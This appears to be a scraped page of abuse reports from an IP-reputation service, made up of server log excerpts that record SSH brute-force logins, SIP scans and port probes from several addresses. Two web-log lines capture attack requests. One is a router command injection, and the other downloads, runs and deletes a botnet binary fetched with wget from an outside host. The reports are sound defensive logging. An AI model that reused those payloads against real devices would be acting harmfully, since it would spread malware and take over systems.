Jun 10 08:48:37 debian-2gb-nbg1-2 kernel: \[14030449.323354\] \[UFW BLOCK\] IN=eth0 OUT= MAC=96:00:00:0e:18:f4:d2:74:7f:6e:37:e3:08:00 SRC=37.49.226.173 DST=195.201.40.59 LEN=48 TOS=0x00 PREC=0x00 TTL=119 ID=10076 PROTO=TCP SPT=15039 DPT=22 WINDOW=65535 RES=0x00 SYN URGP=0

(sshd) Failed SSH login from 37.49.226.173 (NL/Netherlands/-): 2 in the last 3600 secs; Ports: *; Direction: inout; Trigger: LF_SSHD; Logs: Jun  8 00:59:20 ubnt-55d23 sshd[30852]: Did not receive identification string from 37.49.226.173 port 50204
Jun  8 00:59:30 ubnt-55d23 sshd[30853]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173  user=root

07.06.2020 16:59:11 SSH access blocked by firewall

...

Jun  3 05:37:16 hcbbdb sshd\[28295\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173  user=root
Jun  3 05:37:18 hcbbdb sshd\[28295\]: Failed password for root from 37.49.226.173 port 57104 ssh2
Jun  3 05:37:46 hcbbdb sshd\[28334\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173  user=root
Jun  3 05:37:48 hcbbdb sshd\[28334\]: Failed password for root from 37.49.226.173 port 33766 ssh2
Jun  3 05:38:15 hcbbdb sshd\[28393\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173  user=root

2020-05-27T17:43:27.699958  sshd[29353]: Invalid user oracle from 37.49.226.173 port 49008
2020-05-27T17:43:27.712838  sshd[29353]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173
2020-05-27T17:43:27.699958  sshd[29353]: Invalid user oracle from 37.49.226.173 port 49008
2020-05-27T17:43:30.144963  sshd[29353]: Failed password for invalid user oracle from 37.49.226.173 port 49008 ssh2
...

May 26 08:32:34 sigma sshd\[4707\]: Invalid user oracle from 37.49.226.173May 26 08:32:36 sigma sshd\[4707\]: Failed password for invalid user oracle from 37.49.226.173 port 49692 ssh2
...

May 24 17:16:41 gitlab-ci sshd\[32224\]: Invalid user oracle from 37.49.226.173May 24 17:17:01 gitlab-ci sshd\[32239\]: Invalid user guest from 37.49.226.173
...

2020-05-22T10:08:16.105245abusebot-8.cloudsearch.cf sshd[3523]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173  user=root
2020-05-22T10:08:18.572401abusebot-8.cloudsearch.cf sshd[3523]: Failed password for root from 37.49.226.173 port 37509 ssh2
2020-05-22T10:08:34.054278abusebot-8.cloudsearch.cf sshd[3539]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173  user=root
2020-05-22T10:08:36.325690abusebot-8.cloudsearch.cf sshd[3539]: Failed password for root from 37.49.226.173 port 58533 ssh2
2020-05-22T10:08:53.690160abusebot-8.cloudsearch.cf sshd[3557]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173  user=root
2020-05-22T10:08:55.901656abusebot-8.cloudsearch.cf sshd[3557]: Failed password for root from 37.49.226.173 port 51342 ssh2
2020-05-22T10:09:12.300622abusebot-8.cloudsearch.cf sshd[3576]: pam_unix(sshd:auth): authenticati
...

Invalid user user from 37.49.226.173 port 34737

May 15 00:25:43 ns382633 sshd\[1044\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173  user=root
May 15 00:25:45 ns382633 sshd\[1044\]: Failed password for root from 37.49.226.173 port 53826 ssh2
May 15 00:26:08 ns382633 sshd\[1099\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173  user=root
May 15 00:26:11 ns382633 sshd\[1099\]: Failed password for root from 37.49.226.173 port 49036 ssh2
May 15 00:26:33 ns382633 sshd\[1123\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173  user=root

TCP ports : 465 / 587

TCP ports : 465 / 587

[2020-07-24 06:05:37] NOTICE[1277][C-00002857] chan_sip.c: Call from '' (37.49.226.39:61946) to extension '971441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:05:37] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:05:37.251-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="971441144630017",SessionID="0x7f1754318b48",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.39/61946",ACLName="no_extension_match"
[2020-07-24 06:06:27] NOTICE[1277][C-00002859] chan_sip.c: Call from '' (37.49.226.39:57469) to extension '9710441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:06:27] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:06:27.162-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="9710441144630017",SessionID="0x7f1754742008",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/3
...

[2020-07-23 02:28:17] NOTICE[1277][C-00002114] chan_sip.c: Call from '' (37.49.226.41:56352) to extension '199441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:28:17] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:28:17.484-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199441274066041",SessionID="0x7f175452b198",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.41/56352",ACLName="no_extension_match"
[2020-07-23 02:29:44] NOTICE[1277][C-00002115] chan_sip.c: Call from '' (37.49.226.41:56115) to extension '199810441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:29:44] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:29:44.136-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199810441274066041",SessionID="0x7f1754694fe8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/U
...

[-]:80 37.49.226.35 - - [16/Jul/2020:13:54:39 +0200] "POST /boaform/admin/formPing?target_addr=;'+payload+'%20/&waninf=1_INTERNET_R_VID_154 HTTP/1.1" 301 631 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.30.2.el6.x86_64"

37.49.226.35 - - [15/Jul/2020:05:16:28 -0500] "GET https://www.ad5gb.com/setup.cgi?next_file=afr.cfg&todo=syscmd&cmd=wget%20http://45.95.168.230/bins/Meth.mips%20-O%20/var/tmp/Meth.mips;%20chmod%20777%20/var/tmp/Meth.mips;%20/var/tmp/Meth.mips%20africo.exploit;%20rm%20-rf%20/var/tmp/Meth.mips&curpath=/¤tsetting.htm=1 HTTP/1.1" 400 346 400 346 0 0 452 416 605 295 0 DIRECT FIN FIN TCP_MISS

firewall-block, port(s): 5683/udp

Unauthorized connection attempt detected from IP address 37.49.226.4 to port 81

[2020-07-04 01:01:24] NOTICE[1197][C-00001132] chan_sip.c: Call from '' (37.49.226.37:49525) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:01:24] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:01:24.282-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d28136c98",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.37/49525",ACLName="no_extension_match"
[2020-07-04 01:04:58] NOTICE[1197][C-00001138] chan_sip.c: Call from '' (37.49.226.37:61836) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:04:58] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:04:58.923-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d288c4af8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.
...

 TCP (SYN) 37.49.226.4:58116 -> port 81, len 44

firewall-block, port(s): 81/tcp

 TCP (SYN) 37.49.226.4:43452 -> port 81, len 44

Unauthorized connection attempt detected from IP address 37.49.226.227 to port 23 [T]

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

Unauthorized connection attempt from IP address 83.146.71.47 on Port 445(SMB)

[portscan] Port scan

Aug 31 05:45:51 [host] sshd[5983]: Invalid user teamspeak3-user from 14.225.17.9
Aug 31 05:45:51 [host] sshd[5983]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=14.225.17.9
Aug 31 05:45:53 [host] sshd[5983]: Failed password for invalid user teamspeak3-user from 14.225.17.9 port 49362 ssh2

Unauthorised access (Aug 31) SRC=60.14.198.230 LEN=40 TTL=49 ID=53498 TCP DPT=8080 WINDOW=52036 SYN 
Unauthorised access (Aug 31) SRC=60.14.198.230 LEN=40 TTL=49 ID=12688 TCP DPT=8080 WINDOW=59778 SYN 
Unauthorised access (Aug 30) SRC=60.14.198.230 LEN=40 TTL=49 ID=63837 TCP DPT=8080 WINDOW=15186 SYN 
Unauthorised access (Aug 29) SRC=60.14.198.230 LEN=40 TTL=49 ID=51202 TCP DPT=8080 WINDOW=15186 SYN

Lines containing failures of 49.234.199.232
Aug 29 23:29:39 mellenthin sshd[15571]: User r.r from 49.234.199.232 not allowed because not listed in AllowUsers
Aug 29 23:29:39 mellenthin sshd[15571]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=49.234.199.232  user=r.r
Aug 29 23:29:40 mellenthin sshd[15571]: Failed password for invalid user r.r from 49.234.199.232 port 41136 ssh2
Aug 29 23:29:41 mellenthin sshd[15571]: Received disconnect from 49.234.199.232 port 41136:11: Bye Bye [preauth]
Aug 29 23:29:41 mellenthin sshd[15571]: Disconnected from invalid user r.r 49.234.199.232 port 41136 [preauth]
Aug 29 23:51:55 mellenthin sshd[15995]: Invalid user cora from 49.234.199.232 port 38522
Aug 29 23:51:55 mellenthin sshd[15995]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=49.234.199.232
Aug 29 23:51:56 mellenthin sshd[15995]: Failed password for invalid user cora from 49.234.199.232 port 38........
------------------------------

email spam

Unauthorized connection attempt from IP address 27.73.134.156 on Port 445(SMB)

Aug 31 06:12:50 meumeu sshd[10155]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=185.164.63.234 
Aug 31 06:12:52 meumeu sshd[10155]: Failed password for invalid user postgres from 185.164.63.234 port 42856 ssh2
Aug 31 06:16:54 meumeu sshd[10676]: Failed password for root from 185.164.63.234 port 57762 ssh2
...

...

2019-08-31T09:33:32.863543  sshd[29499]: Invalid user ams from 108.36.94.38 port 30471
2019-08-31T09:33:32.878386  sshd[29499]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=108.36.94.38
2019-08-31T09:33:32.863543  sshd[29499]: Invalid user ams from 108.36.94.38 port 30471
2019-08-31T09:33:34.785755  sshd[29499]: Failed password for invalid user ams from 108.36.94.38 port 30471 ssh2
2019-08-31T09:37:40.681637  sshd[29555]: Invalid user mdestroy from 108.36.94.38 port 50700
...

Attempts to probe for or exploit a Drupal site on url: /wp-login.php. Reported by the module https://www.drupal.org/project/abuseipdb.

Aug 31 03:29:43 Server10 sshd[25883]: User root from 51.15.1.221 not allowed because not listed in AllowUsers
Aug 31 03:29:45 Server10 sshd[25883]: Failed password for invalid user root from 51.15.1.221 port 37574 ssh2
Aug 31 03:29:47 Server10 sshd[25883]: Failed password for invalid user root from 51.15.1.221 port 37574 ssh2
Aug 31 03:29:49 Server10 sshd[25883]: Failed password for invalid user root from 51.15.1.221 port 37574 ssh2
Aug 31 03:29:51 Server10 sshd[25959]: User root from 51.15.1.221 not allowed because not listed in AllowUsers
Aug 31 03:29:53 Server10 sshd[25959]: Failed password for invalid user root from 51.15.1.221 port 40040 ssh2
Aug 31 03:29:56 Server10 sshd[25959]: Failed password for invalid user root from 51.15.1.221 port 40040 ssh2
Aug 31 03:29:58 Server10 sshd[25959]: Failed password for invalid user root from 51.15.1.221 port 40040 ssh2
Aug 31 03:30:02 Server10 sshd[26020]: User root from 51.15.1.221 not allowed because not listed in AllowUsers
Aug 31 03:30:04 Server10 sshd[26020]: Fa

Aug 31 10:14:23 localhost sshd\[27246\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=49.88.112.85  user=root
Aug 31 10:14:25 localhost sshd\[27246\]: Failed password for root from 49.88.112.85 port 23204 ssh2
Aug 31 10:14:32 localhost sshd\[27248\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=49.88.112.85  user=root
Aug 31 10:14:34 localhost sshd\[27248\]: Failed password for root from 49.88.112.85 port 15685 ssh2
Aug 31 10:14:43 localhost sshd\[27250\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=49.88.112.85  user=root
...

atacaron mi servidor por ssh

Aug 30 17:52:41 php1 sshd\[8312\]: Invalid user comercial from 190.52.128.8
Aug 30 17:52:41 php1 sshd\[8312\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=190.52.128.8
Aug 30 17:52:43 php1 sshd\[8312\]: Failed password for invalid user comercial from 190.52.128.8 port 40856 ssh2
Aug 30 17:58:08 php1 sshd\[8777\]: Invalid user www from 190.52.128.8
Aug 30 17:58:08 php1 sshd\[8777\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=190.52.128.8